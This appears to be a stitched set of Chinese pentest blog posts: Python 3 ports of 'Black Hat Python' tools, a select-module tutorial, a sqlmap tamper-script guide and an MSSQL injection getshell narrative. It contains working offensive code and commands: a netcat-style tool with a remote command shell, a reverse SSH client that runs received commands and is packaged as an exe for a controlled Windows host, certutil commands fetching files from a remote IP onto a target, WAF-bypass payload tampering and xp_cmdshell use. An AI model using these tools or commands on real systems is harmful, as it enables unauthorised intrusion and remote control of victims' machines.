2019年11月

0x00 前言

最近打算系统的再学习下Python,毕竟实际的渗透工作中 拥有一定的工具编写能力还是十分必要的。而且另一方面,在学习代码的同时,也可以巩固很多基础知识,了解更多的细节。
花了一周刷完廖雪峰的Python3教程后,刚好想简单写点什么练练手。瞥见了书架上的已经落灰的《Python黑帽子》,买来也一直没有读过,于是决定从它开始。书中的案例全都是python2.x版本,我这里决定改用3.x来实现,并记录学习过程中遇到的问题和坑。

0x01 取代Netcat

Python3代码:


import sys
import socket
import getopt
import threading
import subprocess

#定义一些全局变量
listen = False
command = False
upload = False
execute = ''
target = ''
upload_destination = ''
port = ''

#打印出该工具的使用说明
def usage():
    print("Blackhat Python tools")
    print()
    print("Usage:bhpnet.py -t target_host -p port")
    print("-l --listen - listen on [host]:[port] for incoming connections")
    print("-e --execute=file_to_run - execute the given file upon receiving a connection")
    print("-c --command - initialize a command shell")
    print("-u --upload=destination - upon receiving connection upload a file and write to [destination]")
    print()
    print()
    print("Examples: ")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"")
    print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.0.1 -p 135 ")
    #正常退出python程序
    sys.exit(0)

#该函数用来通过TCP连接发送数据
def client_sender(buffer):
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        #连接到目标主机
        client.connect((target,port))
        if len(buffer):
            print(buffer)
            client.send(buffer.encode())
            
        while True:
            #等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096).decode()
                recv_len = len(data)
                response += data
                # 接收完最后的数据部分,跳出循环
                if recv_len < 4096:
                    break
            print(response,end=" ")

            #等待更多的输入并发送
            buffer = input('')
            buffer += "\n"
            client.send(buffer.encode())
    except:
        print("[*] Exception! Exiting...")
    #关闭TCP连接
    client.close()

#服务器端主循环
def server_loop():
    global target
    #若没有定义target,则监听所有网卡接口
    if not len(target):
        target = '0.0.0.0'
    
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind((target,port))
    server.listen(5)

    while True:
        client_socket,addr = server.accept()
        #创建一个线程 处理新的客户端连接
        client_thread = threading.Thread(target=client_handler,args=(client_socket,))
        client_thread.start()

#执行命令函数
def run_command(command):
    #去换行符
    command = command.rstrip()
    #运行命令并返回结果
    try:
        output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
    except:
        output = "Failed to execute command.\r\n".encode()
    return output

#服务端功能:文件上传、命令执行以及shell相关的功能
def client_handler(client_socket):
    global upload
    global upload_destination
    global command

    #检查文件上传 
    if len(upload_destination):
        file_buffer = ""
        #持续读取数据 直到完成
        while True:
            data = client_socket.recv(1024).decode()
            if not data:
                break
            else:
                file_buffer += data
        #把接收到的数据 写入文件
        try:
            file_descriptor = open(upload_destination,'wb')
            file_descriptor.write(file_buffer.encode())
            file_descriptor.close()
            
            client_socket.send(("Successfully saved file to %s \r\n" % upload_destination).encode())
        except:
            client_socket.send(("Failed to save file to %s \r\n" % upload_destination).encode())
        
    #检查命令执行
    if len(execute):
        #运行命令
        output = run_command(execute)
        #print(output)
        client_socket.send(output)

    #若需要一个命令行shell,则进入另一个循环
    if command:
        while True:

            client_socket.send(b'<BHP:#>')
            #接收命令
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += bytes.decode(client_socket.recv(1024))
                #返回命令执行的结果
                response = run_command(cmd_buffer)
                client_socket.send(response)
            

#主函数
def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target
    #global upload

    #无参数时,打印说明
    if not len(sys.argv[1:]):
        usage()
    #读取命令行选项
    try:
        opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen",
        "execute","target","port","command","upload"])
    except getopt.GetoptError as err:
        print(str(err))
        usage()

    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ("-e","--execute"):
            execute = a
        elif o in ("-c","--command"):
            command = True
        elif o in ("-u","--upload"):
            upload_destination = a
            print(a)
        elif o in ("-t","--target"):
            target = a
        elif o in ("-p","--port"):
            port=int(a)
        else:
            assert False,"Unhandled Option"

    #判断是进行监听还是仅从标准输入发送数据
    if not listen and len(target) and port > 0:
        #从命令行读取内存数据
        #这里将阻塞,所以在不向标准输入发送数据时,发送CTRL+D
        buffer = sys.stdin.read()
        #发送数据
        client_sender(buffer)

    #开始监听,准备进入下一步操作 如上传文件、进入交互式shell、执行命令...
    if listen:
        server_loop()
    


if __name__ == '__main__':
    main()
    

看下程序的效果,首先在服务端执行

$ python3 bhnet.py -l -p 6666

客户端执行如下命令,然后control+D 进入shell

$ python3 bhnet.py -t 127.0.0.1 -p 6666

81446378.png

也可以直接利用此脚本,发送HTTP请求,效果如下:

81768240.png

其它参数对应功能效果,暂略...

0x02 创建一个TCP代理

Python3代码,如下所示

import sys
import socket
import threading

def server_loop(local_host,local_port,remote_host,remote_port,receive_first):
    
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:
        server.bind((local_host,local_port))
    except:
        print("[!!] Failed to listen on %s:%d" % (local_host,local_port))
        print("[!!] Check for other listening sockets or correct premissions.")
        sys.exit(0)

    print("[*] Listening on %s:%d" % (local_host,local_port))
    
    server.listen(5)

    while True:
        client_socket,addr = server.accept()
        #打印出socket连接信息
        print("[==>] Received incoming connection from %s:%d" % (addr[0],addr[1]))
        #开启一个线程与远程主机通信
        proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))
        proxy_thread.start()

def proxy_handler(client_socket,remote_host,remote_port,receive_first):
    #连接远程主机
    remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    remote_socket.connect((remote_host,remote_port))

    #如果必要 从远程主机获取数据
    if receive_first:
        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer)
        #发送给响应处理
        remote_buffer = response_handler(remote_buffer)
        #如果有数据传递给本地客户端,发送它
        if len(remote_buffer):
            print("[<==] Sending %s bytes to localhost." % len(remote_buffer))
            client_socket.send(remote_buffer.encode())

    while True:
        local_buffer = receive_from(client_socket)
        if len(local_buffer):
            print("[==>] Received %d bytes from localhost." % len(local_buffer))
            hexdump(local_buffer)
            
            local_buffer = request_handler(local_buffer)

            remote_socket.send(local_buffer.encode())
            print("[==>] Send to remote.")
        
        #接收响应数据 
        remote_buffer = receive_from(remote_socket)

        if len(remote_buffer):
            print("[<==] Received %d bytes from remote." % len(remote_buffer))
            hexdump(remote_buffer)

            remote_buffer = response_handler(remote_buffer)

            client_socket.send(remote_buffer.encode())
            print("[<==] Sent to localhost.")

        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print("[*] No more data. Closing Connections")
            break
        
def hexdump(src,length=16):
    result = []
    digits = 2 if isinstance(src,str) else 4

    for i in range(0,len(src),length):
        s = src[i:i+length]
        hexa = ' '.join(["%0*X" % (digits,ord(x)) for x in s])
        text = ''.join([x if 0x20 <= ord(x) < 0x7F else '.' for x in s])
        result.append('%04X %-*s %s' % (i,length*(digits + 1),hexa,text) )
    print('\n'.join(result))

def receive_from(connection):
    buffer = ""
    #超时2秒
    connection.settimeout(9)
    try:
        while True:
            data = connection.recv(4096).decode()
            if not data:
                break
            buffer += data
    except:
        pass
    return buffer

def request_handler(buffer):
    return buffer

def response_handler(buffer):
    return buffer


def main():
    #命令行用法
    if len(sys.argv[1:]) != 5:
        print("Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]")
        print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
        sys.exit(0)

    #设置本地监听参数
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])

    #设置远程目标参数
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    #告诉代理:在发送给远程主机前 连接和接收数据
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    server_loop(local_host,local_port,remote_host,remote_port,receive_first)


if __name__ == "__main__":
    main()

注意:Python3中不存在unicode类,可以用str代替,str默认为unicode编码. hexdump函数,需要修改如下

digits = 2 if isinstance(src,str) else 4

另外,python3.x没有xrange,可以用range()代替。修改了部分代码,以完成bytes和str转化。

hexdump()函数主要作用是:把一段字符串数据用3列进行表示。
第一列是用16进制表示的字符串位置索引,第二列是16进制表示的字节,第三列是ASCII编码表示的字符串。
对这段代码理解,主要是要搞懂字符编码和格式化打印 两个知识点。

74107393.png

先看打印结果,格式如:

0000 32 32 30 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 20 57 65 220---------- We
0010 6C 63 6F 6D 65 20 74 6F 20 50 75 72 65 2D 46 54 lcome to Pure-FT

字符编码:Python3下,文本字符和二进制字符区分的很明确,分别用str和bytes表示。文本字符全部用str类型表示,str能表示unicode字符中所有字符。而二进制字节数据用一种全新的类型,bytes来表示。

格式化打印:该代码段中涉及了 %0*X , %04X , %-*s 三种格式

  • %04X 代表输入一个数字,按16进制打印,4字节对齐,前面补0
  • %-*s 代表输入一个字符串,-号表示左对齐、后补空白,*表示对齐宽度由输入时确定.(这里由 length*(digits + 1) 来确定)
  • %0*X 代表输入一个数字,按16进制打印,*表示对齐宽度由输入的digits决定.

这样,再读上述的代码就很清晰了。ord()函数,以一个字符作为参数,返回其ASCII数值。
另外,ascii字符集由95个可打印字符(0x20-0x7e),所以当ord(x)不在这个范围时,为不可见字符。

利用nc 连接TCP代理的端口,效果如下
TCP代理脚本会和目标建立主机的目标端口建立连接 127.0.0.1:8888 <==> target:ip

66703299.png

TCP代理服务器,打印出抓到的流量,效果如下

69666470.png

在目标环境,没有wireshark工具这样现成的条件,写一个这样的脚本来实现其简要的功能,是一个很好的思路方法。尤其是用来分析网络数据,可以发现协议、账号、口令等信息。

0x03 通过Paramiko使用SSH

有时候需要通过加密流量来绕过检测,最常用的方法就是使用SSH发送流量。
在Python中,使用Paramiko库的PyCrypto能够轻松的使用SSH2协议。

安装Paramiko

pip3 install paramiko

一段简单的代码模拟SSH登录 并执行一条系统命令:

import threading
import paramiko
import subprocess

def ssh_command(ip,user,passwd,command):
    client = paramiko.SSHClient()

    #可以支持密钥认证来代替账号口令验证
    #client.load_host_keys('/Users/lengfan/.ssh/know_hosts')
    #AutoAddPolicy 自动添加key到本地
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip,username=user,password=passwd)
    ssh_session = client.get_transport().open_session()

    if ssh_session.active:
        ssh_session.exec_command(command)
        print(ssh_session.recv(1024).decode())
    return

ssh_command('192.168.11.111','root','passwd','pwd')

运行结果如下,成功打印命令执行的结果:

$ python3 sshcmd.py 
/root

接着修改脚本,实现可以通过SSH协议,在Windows上运行多条命令并返回结果。
由于Windows本身一般都没有安装ssh服务,所以需要反向将命令从ssh服务端,发送给ssh客户端
即:ssh客户端运行于被控的windows系统上,主动向攻击者的监听的ssh服务端建立连接,攻击者从ssh服务端输入指定,发送给windows并接收返回结果。

Python3版代码如下:

客户端

bh_sshRcmd.py

import threading
import paramiko
import subprocess
import sys

"""
ssh客户端
"""

def ssh_command(ip,port,user,passwd,command):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip,port=port,username=user,password=passwd)
    #实例化Transport 并建立会话session
    ssh_session = client.get_transport().open_session()

    if ssh_session.active:
        ssh_session.send(command)
        print(ssh_session.recv(1024)) #获取banner信息
        while True:
            command = ssh_session.recv(1024).decode(encoding="GB2312") #获取ssh服务端命令,GB2312支持中文
            try:
                #执行命令,并返回结果给SSH服务端
                cmd_output = subprocess.check_output(command,shell=True)
                #print('2')
                ssh_session.send(cmd_output)
            except Exception as e:#写法与python2有差异
                ssh_session.send(str(e))
        client.close()
    return

ip = sys.argv[1]
port = int(sys.argv[2])

try:
    ssh_command(ip,port,'test666','test666','ClientConnected')
except Exception as e:
    print(str(e))

最后加了try...except 来捕获异常,避免了输入exit后 断开连接后产生的报错。
要连接的服务端ip和port可通过传参接收

服务端

bh_sshserver.py

import socket
import paramiko
import threading
import sys

"""
SSH服务端
"""

#使用密钥证书
host_key = paramiko.RSAKey(filename='rsa_private_key.pem')

class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()
    def check_channel_request(self,kind,chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self,username,password):
        if (username == 'test666') and (password == 'test666'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

server = sys.argv[1]
ssh_port = int(sys.argv[2])

try:
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    #SOL_SOCKET:通用套接字选项.如果想要在套接字级别上设置选项,就必须把level设置为SOL_SOCKET
    #SO_REUSEADDR允许同一port上启动同一服务器的多个实例(多个进程)
    sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

    sock.bind((server,ssh_port))
    sock.listen(100)
    print("[+] Listening for connection...")
    client,addr = sock.accept()
except Exception as e:
    print("[-] Listen failed:" + str(e))
    sys.exit(1) #有错误退出
print("[+] Got a connection!")

try:
    #用sock.accept返回的client来实例化Transport
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    
    try:
        #启动ssh服务端
        bhSession.start_server(server=server)
    except paramiko.SSHException as e:
        print("[-] SSH negotiation failed.")
    chan = bhSession.accept(20)
    print("[+] Authenticated!")
    print(chan.recv(1024))
    chan.send('Welcome to bh_ssh')

    while True:
        try:
            command = input("Enter command: ").strip('\n')
            if command != 'exit':
                chan.send(command.encode(encoding="GB2312")) #编码方式选择GB2312支持中文,防止乱码
                print(chan.recv(4096).decode(encoding="GB2312",errors="ignore")) 
            else:
                chan.send('exit'.encode(encoding="GB2312"))
                print('Exiting')
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception as e:
    print("[-] Caught exception: " + str(e))
    try:
        bhSession.close()
    except:
        pass
    sys.exit(0)

关于ssh服务端的代码,书中并没有描述的很清楚。这里补充下:

先弄清楚几个名词:

  • SSHClient:包装了Channel、Transport、SFTPClient
  • Channel: 是一种类socket,一种安全的传输通道
  • Transport: 是一种加密的会话(但这样一个对象的session并未建立),并且创建了一个加密的tunnels,这个tunnels叫做Channel
  • Session: 是client和server保持连接的对象,用connect()/client_start()/server_start()开始会话

实现ssh服务端,必须继承paramiko.ServerInterface,并实现其中的方法
在实例化Server类时,自动执行__init__方法,首先会触发Event。然后进入到认证阶段,等到认证通过后client会打开一个Channel。

关于使用的密钥,这里是通过如下命令,临时生成的

openssl genrsa -out rsa_private_key.pem 1024

Python threading模块提供Event对象用于线程间通信,用于主线程控制其他线程的执行。

为了模拟更真实的使用场景效果,简单修改了客户端代码并使用pyinstaller来打包为exe

pip3 install pyinstaller

然后需要将bh_sshRcmd.py文件,打包成exe(注意:需要在Windows下才能打包为exe`)

pyinstaller -F bh_sshRcmd.py

之后会在dist目录中生成exe文件,可以直接放至被控windows运行

最终效果

被控的Windows客户端主动连接ssh服务器

55951639.png

服务端输入指定,获取结果

55928712.png

注意:若目录出现乱码,要修改编码方式为GB2312

0x04 SSH隧道

SSH能够将其它TCP端口的网络数据通过SSH连接来转发,
使用SSH隧道与传统的将命令直接发送给服务端不同,运用隧道会将网络流量包在SSH中封装后发送,并在服务端解开并执行。
一般分为本地转发和远程转发

正向隧道

该拓扑图中,由于防火墙的限制:

  • 主机A 可以访问主机B的ssh服务
  • 主机A 无法直接访问 主机C
  • 主机B 可以访问 主机C,如ftp服务

72134736.png

这样的情况下,可以建立一条正向的SSH隧道,即 主机A作为ssh-client 主动连接 作为ssh-server的主机B,然后在本地系统(主机A)上面监听端口建立转发。可以通过在A上执行ssh命令来完成,执行成功后访问主机A的2121端口,便可以访问主机C的FTP服务

ssh -L 2121:主机C-ip:21 user@主机B-ip

上面这种也称作本地端口转发

反向隧道

上面例子的前提是,主机B存在SSH服务。但Windows系统往往都不具备SSH服务,这种情况下如何建立隧道呢?
其实只需要改变隧道的建立方向,便可完成。即把被控端 主机B 作为客户端,主机A作为ssh服务端,拓扑图如下

72407001.png

从windows客户端连接自己的SSH服务器,通过这个SSH连接,我们同时在SSH服务端监听一个端口,这个端口将数据通过SSH隧道发送到目标网络中的主机和端口上。也可以直接在主机B上通过ssh命令来执行

ssh -R 2121:主机C-ip:21 user@主机A-ip

这样,主机B利用ssh 远程让主机A监听了2121端口,并将流量转发给主机C的21端口上,实现了通信。

rforward.py

熟悉了原理,就继续来看代码。
Paramiko的实例文件包含一个名为rforward.py的文件。这个文件就具备上述的远程转发功能。
改写为Python3版:


#!/usr/bin/env python3
# -*- code:utf-8 -*-

import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser

import paramiko

SSH_PORT = 22
DEFAULT_PORT = 4000
HELP = """
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""
g_verbose = True #默认打印自定义信息


"""
获取hosrtname 和 port
"""
def get_host_port(spec,default_port):
    "parse 'hostname:22' into a host and port,with the port optional"
    args = (spec.split(':',1) + [default_port])[:2]
    args[1] = int(args[1])
    return args[0],args[1]

"""
打印执行中的自定义信息
"""
def verbose(msg):
    if g_verbose:
        print(msg)

"""
定义接收的参数,以及用法
"""
def parse_options():
    global g_verbose
    parser = OptionParser(
        usage="usage: %prog [options] <ssh-server>[:<server-port>]",
        version="%prog 1.0",
        description=HELP,
    )

    parser.add_option("-q", "--quiet", action="store_false", dest="verbose", default=True,
                help="squelch all informational output",)
    parser.add_option("-p","--remote-port",action="store",type="int",dest="port",default=DEFAULT_PORT,
                help="port on server to forward(default: %d)" % DEFAULT_PORT,)
    parser.add_option("-u","--user",action="store",type="string",dest="user",default=getpass.getuser(),
                help="username for SSH authentication (default: %s)" % getpass.getuser(),)
    parser.add_option("-K","--key",action="store",type="string",dest="keyfile",default=None,
                help="private key file to use for SSH authentication",)
    parser.add_option("","--no-key",action="store_false",dest="look_for_keys",default=True,
                help="don't look for or use private key file",)
    parser.add_option("-P","--password",action="store_true",dest="readpass",default=False,
                help="read password (for key or password auth) from stdin",)
    parser.add_option("-r","--remote",action="store",type="string",dest="remote",default=None,metavar="host:port",
                help="remote host and port to forward to",)
    options, args = parser.parse_args()

    if len(args) != 1:
        parser.error("Incorrect number of arguments.")
    if options.remote is None:
        parser.error("Remote address required (-r).")
    
    #
    g_verbose = options.verbose
    server_host,server_port = get_host_port(args[0],SSH_PORT)
    remote_host,remote_port = get_host_port(options.remote,SSH_PORT)

    return options,(server_host,server_port),(remote_host,remote_port)


"""
数据转发过程
"""

def handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
        return

    verbose(
        "Connected! Tunnel open %r -> %r -> %r"
        % (chan.origin_addr, chan.getpeername(), (host, port))
    )
    while True:
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close() 
    sock.close()
    verbose("Tunnel closed from %r " % (chan.origin_addr,))



"""
建立反向隧道
"""
def reverse_forward_tunnel(server_port,remote_host,remote_port,transport):
    transport.request_port_forward('',server_port)
    while True:
        chan = transport.accept(1000)
        if chan is None:
            continue
        thr = threading.Thread(target=handler,args=(chan,remote_host,remote_port))
        #设置该线程为守护线程,表示该线程是不重要的,进程退出时不需要等待这个线程执行完成。
        #用来避免子线程无限死循环,导致退不出程序的情况
        thr.setDaemon(True)
        thr.start()
    pass


def main():
    options,server,remote = parse_options()

    password = None
    if options.readpass:
        password = getpass.getpass("Enter SSH password:")
    
    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())

    verbose("Connecting to ssh host %s:%d ..." % (server[0],server[1]))
    try:
        client.connect(
            server[0],
            server[1],
            username=options.user,
            key_filename=options.keyfile,
            look_for_keys=options.look_for_keys,
            password=password,
        )
    except Exception as e:
        print("*** Failed to connect to %s:%d: %r" %(server[0],server[1],e))
        sys.exit(1)
    
    verbose("Now forwarding remote port %d to %s:%d ..." % (options.port,remote[0],remote[1]))

    try:
        reverse_forward_tunnel(options.port,remote[0],remote[1],client.get_transport())
    except KeyboardInterrupt:
        print("C-c:Port forwarding stopped.")
        sys.exit(0)


if __name__ == "__main__":
    main()

下面测试下效果,先看下网络环境:

  • Mac 可以连接公网linux的SSH
  • Mac 和 虚拟机Win7,可以互相访问。虚拟机为网络为 host-only模式
  • Mac 连接wifi,处于局域网环境

实现如下效果

在Mac下运行脚本

rforward.py 外网ssh服务器 -u root -r 10.37.129.3:80 -p 8888 --password 

输入密码后,成功连接SSH服务器,并建立转发。并在远程VPS上,利用curl 访问内网中host-only模式的虚拟机Win7

73271803.png

在Mac下查看打印结果,成功利用反向ssh隧道进行了转发

73246694.png

0x05 后记

在学习过程中发现自己的网络基础还很薄弱,后续会着重弥补。

0x06 参考资料

《Python Paramiko模块的使用实际案例》
《Python 黑帽子》学习笔记
《关于黑帽子中hexdump函数在python3之后的修改》
《实战SSH端口转发》

在学习和了解这个模块之前,先要搞清楚几个概念:阻塞IO 非阻塞IO 和多路复用IO

阻塞IO

当有数据传入传出的时候,接收方必须一直等到接收到数据才能进入到下一步的操作。在接收数据之前,会一直进行等待,这时候是一个阻塞的状态。在socket模块默认的情况下实现的server端 就是一个阻塞IO的例子

非阻塞IO

与阻塞IO相对,在接收方等待数据的时候,如果发送方没有发送数据,接收方也可以进行后面的操作,等待对方将数据发送过来再执行之前的操作。具体实现在等待数据的时候,先执行后面的程序,按照一定的时间,反复的去查看,对方是否已经发送了数据。

通过socket模块 也可以实现server和client 非阻塞IO的例子:

server端 代码:


import time
import socket

sk = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sk.bind(('127.0.0.1',6666))
sk.listen(5)
sk.setblocking(False) #开启非阻塞状态
print("Waiting for lient connecting ...")

while True:
    try:
        conn,addr = sk.accept() # 进入主动轮询
        print("+++",addr)
        client_message = conn.recv(1024)
        print(client_message.decode())
        conn.close()
    except Exception as e: #当没有连接过来时 执行如下操作
        print(e)
        time.sleep(4)

执行效果如下,当没有连接过来时,进入except语句 打印异常信息

42214856.png

在终端下,利用nc发送数据,并server接收并打印 达到一个非阻塞IO的效果

42234873.png

多路复用IO

在学习select模块前,还需要清楚多路复用IO的概念
IO多路复用 是IO模式的一种,是一种单线程处理多并发IO操作的方案。IO多路复用,其实就是常说的 selectpollepoll
它的基本原理就是 这三个function会不断的轮询所负责的所有socket,当某个socket有数据到达了,就通知用户进程

select会轮询检测所有的连接或者IO,其理论所使用的就是 “事件驱动模型” 这一范式

关于select和poll 的先要更深入的理解,可以参考阅读文章:https://www.jianshu.com/p/397449cadc9a

select模块

select是IO多路复用的一种实现方式,利用select模块来实现非阻塞IO,可通过单线程的方式实现多用户同时访问服务端。
select模块采用水平触发(只要有客户端连接就触发) 来检测server端是否有客户端连入

示例1:


import socket
import select

sk = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sk.bind(('127.0.0.1',6666))
sk.listen(5)
inp = [sk,]

while True:
    #select 作为监听器(水平触发),来检测是否有客户端来访问
    #每隔3秒执行一次查看,若没有连接 r为空值
    r,w,e = select.select(inp,[],[],3) #(input,output,errorput,time)

    for i in r:
        conn,addr = i.accept()
        print(conn)
        print('hello')
    print('>>>>>>')

当有客户端连接时,打印conn 和 'hello'

47998239.png

示例2:

Server代码:


import socket
import select

sk1 = socket.socket()
sk1.bind(('0.0.0.0',8001))
sk1.listen()

sk2 = socket.socket()
sk2.bind(('0.0.0.0',8002))
sk2.listen()

sk3 = socket.socket()
sk3.bind(('0.0.0.0',8003))
sk3.listen()

inputs = [sk1,sk2,sk3,]

while True:
    r_list,w_list,e_list = select.select(inputs,[],inputs,1)
    for sk in r_list:
        conn,addr = sk.accept()
        conn.sendall('hello'.encode())
        conn.close()

    for sk in e_list:
        inputs.remove(sk)

上面代码表示:select内部会自动监听sk1,sk2,sk3三个对象。监听三个句柄是否发生变化,并将发生变化的元素放入r_list中。若有客户端连接sk2,sk3 则r_list= [sk2,sk3]

client代码:


import socket

obj2 = socket.socket()
obj3 = socket.socket()
obj2.connect(('127.0.0.1', 8002))
obj3.connect(('127.0.0.1', 8003))

content = str(obj2.recv(1024), encoding='utf-8')
print("obj2:"+content)
content = str(obj3.recv(1024), encoding='utf-8')
print("obj3:"+content)

obj2.close()
obj3.close()

客户端发起了两个socket连接,分别对应sk2和sk3

49914684.png

接收返回并打印结果.

49937048.png

参考

Python select模块简单使用

0x00 前言

记录下tamper脚本编写的学习过程

0x01 Tamper的作用

在检测和利用注入的过程中,往往会遇到WAF/IPS等防御设备对发送的Payload进行拦截。Sqlmap本身已经自带了很多用以绕过WAF的脚本,可以通过--tamper=脚本名称 的方式,来使用。
但是不同厂商的WAF 会对应不同的防御规则,已有的tamper脚本虽然可以支持大多数的场景,但有些奇葩的环境下 可能也会略显不足。
所以,作为渗透人员需要先针对WAF的拦截规律进行手工探测,然后结合具体SQL版本的功能语法特性,来进行绕过。

当探测到绕过方式后,也可以手工注入进行攻击但极其耗费时间。由此,可以通过编写相应的tamper 配合sqlmap来使用

0x02 Tamper的简单结构

自带的所有tamper脚本位于 sqlmap目录的tamper子目录中.
先来cat 一个unionalltounion.py脚本,查看其书写格式:

60535243.png

这个脚本的作用,是将"UNION ALL SELECT" 替换为"UNION SELECT"

也可以看到tamper脚本主要格式:

#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 当前脚本的调用优先等级

def dependencies(): # 声明当前脚本适用/不适用的范围,可以为空。
    pass

def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
    return payload

tamper函数起到主要的作用,是将原始的payload进行加工,返回可以绕过防御规则的payload
要完成一个tamper的编写,只需要手工探测出绕过的规则,并可以使用Python编写代码,来完成操作字符串的过程
另外注意,tamper函数的两个参数:payload和**kwargs 无需关心如何传入,因为sqlmap会自动传值

了解这些基础知识,就可以编写简单的tamper脚本了

0x03 Tamper编写

一个最简单的tamper,将 空格 替换为 /**/

#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW 

def dependencies(): 
    pass

def tamper(payload, **kwargs): 
    payload = payload.replace(' ','/**/'))
    return payload

可以通过sqlmap -v 3 实时查看payload内容

77323686.png

另外,可以修改kwargs参数来修改请求头内容

kwargs['headers']['User-Agent']="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" # 修改User-Agent

实现更复杂的tamper需要更深入的了解正则Http协议及Python相关的基础

0x04 参考文章

如何编写Sqlmap的Tamper脚本?

0x00 Certutil介绍

Casey Smith‏ @subTee曾经在twitter介绍了了关于certutil的一些利用技巧。其中,本人渗透过程中最为常用的一条命令:

certutil -urlcache -split -f http://远程ip/test.php 

通过这条命令可以迅速有效的向目标主机当前目录,下载我们想要传输的文件。
同时也可以通过certutil来向指定的路径传输文件,也是屡试不爽:

certutil -urlcache -split -f http://远程ip/test.php D:\网站目录\test.php

当目标主机可以访问外网的情况下,哪怕目前操控权限较低,基本也可以通过此条命令成功实现文件下载。

更加具体的内容可以参考Casey Smith‏的《渗透测试中的certutil》和微软官方的说明,网上也有相应的文章,这里就不多介绍了。

0x01 MSSQL介绍

这里,MSSQL也就是SQL-SERVER。 微软研发的数据库管理系统。大都是运行在Win系列的平台上(不过最近SQLSERVER 2017支持了linux平台)。

有关很多SQLSERVER的sql注入在网上安全资料中都可以见到。 尤其是xp_cmdshell存储过程,当数据库用户没有被降权处理时,攻击者可以利用它来对数据库所在的主机实现任何的操作。

SQL-SERVER的常规GetShell思路如下:

1.确认当前的数据库用户权限为sysadmin
2.直接备份数据/调用可以命令执行的存储过程,如Xp_cmdshell等
3.若用户非sa权限则考虑差异备份 Log备份等
...

网上有前辈对很多MSSQL注入的思路和Payload进行过总结,具体可以Google:Mssql手注

0x02 运用Certutil来Getshell

先介绍实战场景及条件,是这样的:

  • 渗透前期已通过nmap对目标ip进行了全端口扫描,有用的端口只有8088
  • 服务器IIS7 脚本语言:asp。能够登陆管理系统,仅有查询功能。
  • 网站还存在目录遍历及IIS短文件名泄露,但无法直接利用。
  • 查询存在SQL注入,数据库为MS 2008R2
  • 得知注入权限为sysadmin

当初看到sa权限,本以为这样就万事大吉 直接拿Shell
但却很快出了问题

注入点类型情况如下:

先用判断是否存在站库分离

select @@servername;
select host_name();

确定数据库和web在同一服务器

3593956.png

然后SQLmap中直接执行 --os-shell 服务器无响应,连接中断...执行 --os-cmd "whoami" 无响应中断...
又确认一遍是sa权限后,进入--sql-shell操作

select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

可以确认存储过程没有被删除,然后尝试

exec master..xp_cmdshell 'dir'

3628723.png

